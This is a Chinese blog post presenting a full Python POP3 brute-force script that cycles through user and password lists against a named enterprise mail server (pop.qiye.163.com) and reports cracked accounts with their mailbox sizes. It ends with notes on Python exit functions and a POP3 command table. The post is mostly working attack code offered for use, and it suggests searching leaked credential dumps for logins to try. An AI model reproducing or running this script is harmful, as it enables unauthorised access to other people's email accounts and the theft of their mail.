Python 邮箱爆破

发表于 |
字数统计 1,152 | 阅读时长 5

按照师傅给的任务，写了一个企业邮箱的爆破脚本，后续还有FTP,SSH等一些爆破的脚本。

我先说下整体思路：

总体就是利用python的poplib模块来从pop3服务器上交互，根据获取的相关信息，产生结果。POP3协议并不复杂，它也是采用的一问一答式的方式，你向服务器发送一个命令，服务器必然会回复一个信息.

  1. 首先验证参数是否正确
    Sys.argv[]是用来获取命令行参数的，sys.argv[0]表示代码本身文件路径，所以参数从1开始
  2. 然后从用户密码文件中读取信息
  3. pop.getwelcome()用来获取连接服务器的响应状态

  4. 然后就是脚本的核心代码部分

    1
    2
    3
    4
    5
    6
    server = "pop.qiye.163.com" 	//设置pop3服务器地址
    pop = poplib.POP3(server,110) 	//连接pop3服务器
    pop.user(user) 			//验证用户名
    auth = pop.pass_(passwd) 	//验证密码
    if auth.split(' ')[0]== "+OK": 	//判断响应的结果是否“OK”
        pring user,passwd

  5. 最后输出出来相关的用户信息

脚本代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author：w2n1ck
@博客：http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''
import threading, time, random, sys, poplib
from copy import copy
if len(sys.argv) !=3:
  print "\t   --------------------------------------------------\n"
  print "\t    Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
  sys.exit(1)
server = "pop.qiye.163.com"
success = []
try:
    users = open(sys.argv[1], "r").readlines()
except(IOError):
    print "[-] Error: urerlist打开失败!\n"
    sys.exit(1)
try:
    words = open(sys.argv[2], "r").readlines()
except(IOError):
    print "[-] Error: passlist打开失败!\n"
    sys.exit(1)
try:
  pop = poplib.POP3(server,110)
  welcome = pop.getwelcome()
  print welcome
  pop.quit()
except (poplib.error_proto):
  welcome = "No Response"
  pass
def mailbruteforce(listuser,listpwd):
  if len(listuser) < 1 or len(listpwd) < 1 :
    print "An error occurred: No user or pass list"
    return 1
  for user in listuser:
    for value in listpwd :
      user = user.replace("\n","")
      value = value.replace("\n","")
      try:
        print "-"*12
        print "[+] User:",user,"Password:",value
        time.sleep(1)
        pop = poplib.POP3(server,110)
        pop.user(user)
        auth = pop.pass_(value)
        print auth
        if auth.split(' ')[0]!= "+OK" :
          pop.quit()
          print "unknown error !"
          continue
        if pop.stat()[1] is None or pop.stat()[1] < 1 :
          pop.quit()
          print "获取信息失败!"
          continue
        ret = (user,value,pop.stat()[0],pop.stat()[1])
        success.append(ret)
        pop.quit()
        break
      except:
        #print "An error occurred:", msg
        pass
print "\t   --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)
print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
  for ret in success:
    print "\n\n[+] Login successful:",ret[0], ret[1]
    print "\t[+] Mail:",ret[2],"emails"
    print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"

测试结果：

说明：
用户字典文件需要@domain.com，类似zhangsan@domain.com、lisi@domain.com、wangwu@domain.com这样的。由于我也没有企业邮箱的账号密码，也就没测试成功的，要是感兴趣，可以搜一下相关社工裤。

附：

python 中 os._exit()， sys.exit()， exit() 的区别是什么？

  1. sys.exit(n) 退出程序引发一个SystemExit异常, 可以捕获异常执行些清理工作. n默认值为0, 表示正常退出. 其他都是非正常退出. 没有捕获这个异常，会直接退出；捕获这个异常可以做一些额外的清理工作。 一般主程序中使用此退出
  2. os._exit(n), 直接退出 Python 解释器，其后的代码都不执行, 不抛异常, 不执行相关清理工作. 常用在子进程的退出.
  3. exit() 跟 C 语言等其他语言的 exit() 应该是一样的

pop3收取邮件的过程一般是:

  1. 连接pop3服务器 (poplib.POP3.__init__)
  2. 发送用户名和密码进行验证 (poplib.POP3.user poplib.POP3.pass_)
  3. 获取邮箱中信件信息 (poplib.POP3.stat)
  4. 收取邮件 (poplib.POP3.retr)
  5. 删除邮件 (poplib.POP3.dele)
  6. 退出 (poplib.POP3.quit)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
命令　poplib方法　　　　参数　　　  状态　　　　　描述
-----------------------------------------------------------------------------------------------
USER　　user  　  username　　认可　　用户名，此命令与下面的pass命令若成功，将导致状态转换
PASS　　pass_ 　　password　　认可　　用户密码　　　
APOP　　apop　　　Name,Digest 认可　  Digest是MD5消息摘要
-----------------------------------------------------------------------------------------------
STAT　　stat  　　None　　　  处理　　请求服务器发回关于邮箱的统计资料，如邮件总数和总字节数
UIDL　　uidl　　　[Msg#]　　  处理　　返回邮件的唯一标识符，POP3会话的每个标识符都将是唯一的
LIST　　list　　　[Msg#]　　  处理　　返回邮件数量和每个邮件的大小
RETR　　retr　　　[Msg#]　    处理　　返回由参数标识的邮件的全部文本
DELE　　dele　　　[Msg#]　    处理　　服务器将由参数标识的邮件标记为删除，由quit命令执行
RSET　　rset　　　None　　    处理　  服务器将重置所有标记为删除的邮件，用于撤消DELE命令
TOP　　 top  　　 [Msg#]　　  处理　  服务器将返回由参数标识的邮件前n行内容，n必须是正整数
NOOP　　noop　　　None　　　　处理　　服务器返回一个肯定的响应
大爷，赏个铜板呗！